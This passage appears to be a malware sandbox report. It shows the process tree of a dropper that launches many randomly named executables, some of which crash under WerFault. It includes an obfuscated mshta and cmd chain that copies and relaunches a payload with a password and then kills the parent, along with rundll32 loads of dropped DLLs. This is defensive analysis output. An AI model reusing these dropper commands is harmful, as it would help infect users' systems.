                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\27-8346f-3e3-6638b-5379631ec7a06\Xibomaezheri.exe"
                                                                                                                                                                                                                                                                              11⤵
                                                                                                                                                                                                                                                                                PID:6396
                                                                                                                                                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                  "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ysfudsur.jrm\GcleanerEU.exe /eufive & exit
                                                                                                                                                                                                                                                                                  12⤵
                                                                                                                                                                                                                                                                                    PID:6056
                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\ysfudsur.jrm\GcleanerEU.exe
                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\ysfudsur.jrm\GcleanerEU.exe /eufive
                                                                                                                                                                                                                                                                                      13⤵
                                                                                                                                                                                                                                                                                        PID:6768
                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 6768 -s 256
                                                                                                                                                                                                                                                                                          14⤵
                                                                                                                                                                                                                                                                                          • Program crash
                                                                                                                                                                                                                                                                                          • Checks processor information in registry
                                                                                                                                                                                                                                                                                          • Enumerates system info in registry
                                                                                                                                                                                                                                                                                          PID:8052
                                                                                                                                                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\spsg3hw3.d5e\installer.exe /qn CAMPAIGN="654" & exit
                                                                                                                                                                                                                                                                                      12⤵
                                                                                                                                                                                                                                                                                        PID:4684
                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\spsg3hw3.d5e\installer.exe
                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\spsg3hw3.d5e\installer.exe /qn CAMPAIGN="654"
                                                                                                                                                                                                                                                                                          13⤵
                                                                                                                                                                                                                                                                                            PID:2456
                                                                                                                                                                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\p3qh2o20.0ax\anyname.exe & exit
                                                                                                                                                                                                                                                                                          12⤵
                                                                                                                                                                                                                                                                                            PID:6456
                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\p3qh2o20.0ax\anyname.exe
                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\p3qh2o20.0ax\anyname.exe
                                                                                                                                                                                                                                                                                              13⤵
                                                                                                                                                                                                                                                                                                PID:8156
                                                                                                                                                                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                              "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\pzqbiu0i.jwj\gcleaner.exe /mixfive & exit
                                                                                                                                                                                                                                                                                              12⤵
                                                                                                                                                                                                                                                                                                PID:6652
                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\pzqbiu0i.jwj\gcleaner.exe
                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\pzqbiu0i.jwj\gcleaner.exe /mixfive
                                                                                                                                                                                                                                                                                                  13⤵
                                                                                                                                                                                                                                                                                                    PID:2848
                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 2848 -s 260
                                                                                                                                                                                                                                                                                                      14⤵
                                                                                                                                                                                                                                                                                                      • Program crash
                                                                                                                                                                                                                                                                                                      • Checks processor information in registry
                                                                                                                                                                                                                                                                                                      • Enumerates system info in registry
                                                                                                                                                                                                                                                                                                      PID:7940
                                                                                                                                                                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                  "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\3vl4dkug.fwr\autosubplayer.exe /S & exit
                                                                                                                                                                                                                                                                                                  12⤵
                                                                                                                                                                                                                                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                                  PID:7292
                                                                                                                                                                                                                                                                                        • C:\Users\Admin\Documents\BuAfALSScZPvia0rwzZZf2A_.exe
                                                                                                                                                                                                                                                                                          "C:\Users\Admin\Documents\BuAfALSScZPvia0rwzZZf2A_.exe" /mixtwo
                                                                                                                                                                                                                                                                                          8⤵
                                                                                                                                                                                                                                                                                            PID:1660
                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 1660 -s 256
                                                                                                                                                                                                                                                                                              9⤵
                                                                                                                                                                                                                                                                                              • Program crash
                                                                                                                                                                                                                                                                                              • Checks processor information in registry
                                                                                                                                                                                                                                                                                              • Enumerates system info in registry
                                                                                                                                                                                                                                                                                              PID:7628
                                                                                                                                                                                                                                                                                      • C:\Users\Admin\Documents\fUwK0rCKpuyFtdfYZy_fpV0h.exe
                                                                                                                                                                                                                                                                                        "C:\Users\Admin\Documents\fUwK0rCKpuyFtdfYZy_fpV0h.exe"
                                                                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                                                                          PID:6276
                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                                                                                                                                            "C:\Windows\System32\mshta.exe" vbsCrIPT: CLOse ( crEateOBjeCt ( "wScrIPT.SHELL" ). RuN ( "C:\Windows\system32\cmd.exe /c TYpE ""C:\Users\Admin\Documents\fUwK0rCKpuyFtdfYZy_fpV0h.exe"" >CndH5V.EXe && Start Cndh5V.EXE -pHMKPyuuVVnjhxYIEreJKQmnfTDzj & IF """"== """" for %w In ( ""C:\Users\Admin\Documents\fUwK0rCKpuyFtdfYZy_fpV0h.exe"" ) do taskkill /F -iM ""%~nxw"" " , 0 , tRUE ) )
                                                                                                                                                                                                                                                                                            7⤵
                                                                                                                                                                                                                                                                                              PID:6564
                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                "C:\Windows\system32\cmd.exe" /c TYpE "C:\Users\Admin\Documents\fUwK0rCKpuyFtdfYZy_fpV0h.exe" >CndH5V.EXe && Start Cndh5V.EXE -pHMKPyuuVVnjhxYIEreJKQmnfTDzj& IF ""== "" for %w In ( "C:\Users\Admin\Documents\fUwK0rCKpuyFtdfYZy_fpV0h.exe" ) do taskkill /F -iM "%~nxw"
                                                                                                                                                                                                                                                                                                8⤵
                                                                                                                                                                                                                                                                                                  PID:3020
                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\CndH5V.EXe
                                                                                                                                                                                                                                                                                                    Cndh5V.EXE -pHMKPyuuVVnjhxYIEreJKQmnfTDzj
                                                                                                                                                                                                                                                                                                    9⤵
                                                                                                                                                                                                                                                                                                      PID:6928
                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                                                                                                                                                        "C:\Windows\System32\mshta.exe" vbsCrIPT: CLOse ( crEateOBjeCt ( "wScrIPT.SHELL" ). RuN ( "C:\Windows\system32\cmd.exe /c TYpE ""C:\Users\Admin\AppData\Local\Temp\CndH5V.EXe"" >CndH5V.EXe && Start Cndh5V.EXE -pHMKPyuuVVnjhxYIEreJKQmnfTDzj & IF ""-pHMKPyuuVVnjhxYIEreJKQmnfTDzj""== """" for %w In ( ""C:\Users\Admin\AppData\Local\Temp\CndH5V.EXe"" ) do taskkill /F -iM ""%~nxw"" " , 0 , tRUE ) )
                                                                                                                                                                                                                                                                                                        10⤵
                                                                                                                                                                                                                                                                                                          PID:1148
                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                            "C:\Windows\system32\cmd.exe" /c TYpE "C:\Users\Admin\AppData\Local\Temp\CndH5V.EXe" >CndH5V.EXe && Start Cndh5V.EXE -pHMKPyuuVVnjhxYIEreJKQmnfTDzj& IF "-pHMKPyuuVVnjhxYIEreJKQmnfTDzj"== "" for %w In ( "C:\Users\Admin\AppData\Local\Temp\CndH5V.EXe" ) do taskkill /F -iM "%~nxw"
                                                                                                                                                                                                                                                                                                            11⤵
                                                                                                                                                                                                                                                                                                              PID:5912
                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                                            "C:\Windows\System32\rundll32.exe" bFut_Y.g_U,GpozpZJ
                                                                                                                                                                                                                                                                                                            10⤵
                                                                                                                                                                                                                                                                                                            • Loads dropped DLL
                                                                                                                                                                                                                                                                                                            PID:5564
                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                                                                          taskkill /F -iM "fUwK0rCKpuyFtdfYZy_fpV0h.exe"
                                                                                                                                                                                                                                                                                                          9⤵
                                                                                                                                                                                                                                                                                                          • Kills process with taskkill
                                                                                                                                                                                                                                                                                                          PID:6660
                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\Documents\YUPtFFQPemDo8n78Ec7z4ygG.exe
                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\Documents\YUPtFFQPemDo8n78Ec7z4ygG.exe"
                                                                                                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                                                                                                    • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                                                                    PID:6468
                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\Documents\YUPtFFQPemDo8n78Ec7z4ygG.exe
                                                                                                                                                                                                                                                                                                      C:\Users\Admin\Documents\YUPtFFQPemDo8n78Ec7z4ygG.exe
                                                                                                                                                                                                                                                                                                      7⤵
                                                                                                                                                                                                                                                                                                        PID:2464
                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\Documents\7LQ5elPYxvupKfFs3OysGmHL.exe
                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\Documents\7LQ5elPYxvupKfFs3OysGmHL.exe"
                                                                                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                                                                                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                                                                                                                                      • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                                                                      PID:6392
                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\Documents\7LQ5elPYxvupKfFs3OysGmHL.exe
                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\Documents\7LQ5elPYxvupKfFs3OysGmHL.exe"
                                                                                                                                                                                                                                                                                                        7⤵
                                                                                                                                                                                                                                                                                                          PID:6924
                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\Documents\7LQ5elPYxvupKfFs3OysGmHL.exe
                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\Documents\7LQ5elPYxvupKfFs3OysGmHL.exe"
                                                                                                                                                                                                                                                                                                          7⤵
                                                                                                                                                                                                                                                                                                            PID:5648
                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\Documents\7LQ5elPYxvupKfFs3OysGmHL.exe
                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\Documents\7LQ5elPYxvupKfFs3OysGmHL.exe"
                                                                                                                                                                                                                                                                                                            7⤵
                                                                                                                                                                                                                                                                                                            • Checks processor information in registry
                                                                                                                                                                                                                                                                                                            • Enumerates system info in registry
                                                                                                                                                                                                                                                                                                            PID:6776
                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\Documents\7LQ5elPYxvupKfFs3OysGmHL.exe
                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\Documents\7LQ5elPYxvupKfFs3OysGmHL.exe"
                                                                                                                                                                                                                                                                                                            7⤵
                                                                                                                                                                                                                                                                                                            • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                                                                            PID:4672
                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 6392 -s 2084
                                                                                                                                                                                                                                                                                                            7⤵
                                                                                                                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                                                                                                                            • Program crash
                                                                                                                                                                                                                                                                                                            • Checks processor information in registry
                                                                                                                                                                                                                                                                                                            • Enumerates system info in registry
                                                                                                                                                                                                                                                                                                            PID:512
                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\Documents\zJJYHy0TMgOHzTpL3lfNFi9x.exe
                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\Documents\zJJYHy0TMgOHzTpL3lfNFi9x.exe"
                                                                                                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                                                                                                          • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                                                                          PID:6356
                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\Documents\zJJYHy0TMgOHzTpL3lfNFi9x.exe
                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\Documents\zJJYHy0TMgOHzTpL3lfNFi9x.exe"
                                                                                                                                                                                                                                                                                                            7⤵
                                                                                                                                                                                                                                                                                                            • Checks SCSI registry key(s)
                                                                                                                                                                                                                                                                                                            • Suspicious behavior: MapViewOfSection
                                                                                                                                                                                                                                                                                                            PID:4656
                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\Documents\nfcV3KC6G8hE2evL_RwdX23Z.exe
                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\Documents\nfcV3KC6G8hE2evL_RwdX23Z.exe"
                                                                                                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                                                                                                          PID:6348
                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 6348 -s 864
                                                                                                                                                                                                                                                                                                            7⤵
                                                                                                                                                                                                                                                                                                            • Program crash
                                                                                                                                                                                                                                                                                                            • Checks processor information in registry
                                                                                                                                                                                                                                                                                                            • Enumerates system info in registry
                                                                                                                                                                                                                                                                                                            PID:428
                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\Documents\kIZoFSN1Ya09FfBBE8IDq_FT.exe
                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\Documents\kIZoFSN1Ya09FfBBE8IDq_FT.exe"
                                                                                                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                                                                                                          PID:6188
                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\Documents\F_UgSqmF59dyv1FyDpFUys_Q.exe
                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\Documents\F_UgSqmF59dyv1FyDpFUys_Q.exe"
                                                                                                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                          PID:6572
                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\Documents\AifKqp9KkRQTigggvWd7AkvD.exe
                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\Documents\AifKqp9KkRQTigggvWd7AkvD.exe"
                                                                                                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                                                                                                          PID:7004
                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Roaming\5642601.scr
                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Roaming\5642601.scr" /S
                                                                                                                                                                                                                                                                                                            7⤵
                                                                                                                                                                                                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                            PID:1104
                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\WerFault.exe
                                                                                                                                                                                                                                                                                                              C:\Windows\system32\WerFault.exe -u -p 1104 -s 2140
                                                                                                                                                                                                                                                                                                              8⤵
                                                                                                                                                                                                                                                                                                              • Program crash
                                                                                                                                                                                                                                                                                                              • Checks processor information in registry
                                                                                                                                                                                                                                                                                                              • Enumerates system info in registry
                                                                                                                                                                                                                                                                                                              PID:7572
                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c Thu2090b5515d63b2.exe
                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                      • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                                                                                      PID:4332
                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zS033E4BE0\Thu2090b5515d63b2.exe
                                                                                                                                                                                                                                                                                                        Thu2090b5515d63b2.exe
                                                                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                        PID:4608
                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\tmpC7A5_tmp.exe
                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\tmpC7A5_tmp.exe"
                                                                                                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                                                                                                          • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                                                                          PID:3808
                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\tmpC7A5_tmp.exe
                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\tmpC7A5_tmp.exe
                                                                                                                                                                                                                                                                                                            7⤵
                                                                                                                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                                                                                                                            PID:4552
                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c Thu203cdb52ef3c6580d.exe
                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                        PID:3840
                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zS033E4BE0\Thu203cdb52ef3c6580d.exe
                                                                                                                                                                                                                                                                                                          Thu203cdb52ef3c6580d.exe
                                                                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                                                                                                          • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                                                                          PID:5132
                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zS033E4BE0\Thu203cdb52ef3c6580d.exe
                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\7zS033E4BE0\Thu203cdb52ef3c6580d.exe
                                                                                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                                                                                                                            PID:5732
                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c Thu20fdd9ac35a68.exe
                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                          PID:1200
                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c Thu20bc9ea26f.exe
                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                            PID:3228
                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c Thu2025d6674aed72ba.exe /mixone
                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                              PID:4704
                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c Thu203b503b429e68.exe
                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                              • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                                                                                              PID:5012
                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c Thu20dae7c52bc0856.exe
                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                PID:3340
                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\sihclient.exe
                                                                                                                                                                                                                                                                                                          C:\Windows\System32\sihclient.exe /cv pVzHgpXms02TJxnTGiup5w.0.2
                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                          • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                                                                          PID:3988
                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zS033E4BE0\Thu20dae7c52bc0856.exe
                                                                                                                                                                                                                                                                                                          Thu20dae7c52bc0856.exe
                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                                                                                                          PID:4992
                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zS033E4BE0\Thu20bc9ea26f.exe
                                                                                                                                                                                                                                                                                                          Thu20bc9ea26f.exe
                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                                                                                                          PID:5068
                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 5068 -s 260
                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                            • Program crash
                                                                                                                                                                                                                                                                                                            PID:4988
                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zS033E4BE0\Thu2025d6674aed72ba.exe
                                                                                                                                                                                                                                                                                                          Thu2025d6674aed72ba.exe /mixone
                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                                                                                                          PID:4652
                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 4652 -s 256
                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                            • Program crash
                                                                                                                                                                                                                                                                                                            • Enumerates system info in registry
                                                                                                                                                                                                                                                                                                            PID:4520
                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zS033E4BE0\Thu203b503b429e68.exe
                                                                                                                                                                                                                                                                                                          Thu203b503b429e68.exe
                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                          PID:3940
                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 3940 -s 1968
                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                            • Program crash
                                                                                                                                                                                                                                                                                                            • Enumerates system info in registry
                                                                                                                                                                                                                                                                                                            PID:1944
                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zS033E4BE0\Thu20fdd9ac35a68.exe
                                                                                                                                                                                                                                                                                                          Thu20fdd9ac35a68.exe
                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                                                                                                          PID:5144
                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 5068 -ip 5068
                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                          • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                                                                          PID:4720
                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 4652 -ip 4652
                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                          • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                                                                          PID:5196
                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 588 -p 5928 -ip 5928
                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                          • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                                                                          PID:6124
                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                                          rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                          • Loads dropped DLL
                                                                                                                                                                                                                                                                                                          PID:6920
                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 6920 -s 452
                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                            • Program crash
                                                                                                                                                                                                                                                                                                            PID:6776
                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\rundll32.exe
                                                                                                                                                                                                                                                                                                          rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                          • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                          PID:6768
                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 612 -p 6920 -ip 6920
                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                            PID:1396
                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 5020 -ip 5020
                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                              PID:3988
                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 640 -p 3940 -ip 3940
                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                PID:5416
                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 588 -p 512 -ip 512
                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                                                                                PID:5288
                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 5976 -ip 5976
                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                                                                                PID:3660
                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 672 -p 5968 -ip 5968
                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                                                                PID:4668
                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 6100 -ip 6100
                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                  PID:2376
                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 700 -p 5888 -ip 5888
                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                  • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                                                                                  PID:6868
                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 664 -p 6132 -ip 6132
                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                  • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                                                                                                                  PID:3600
                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
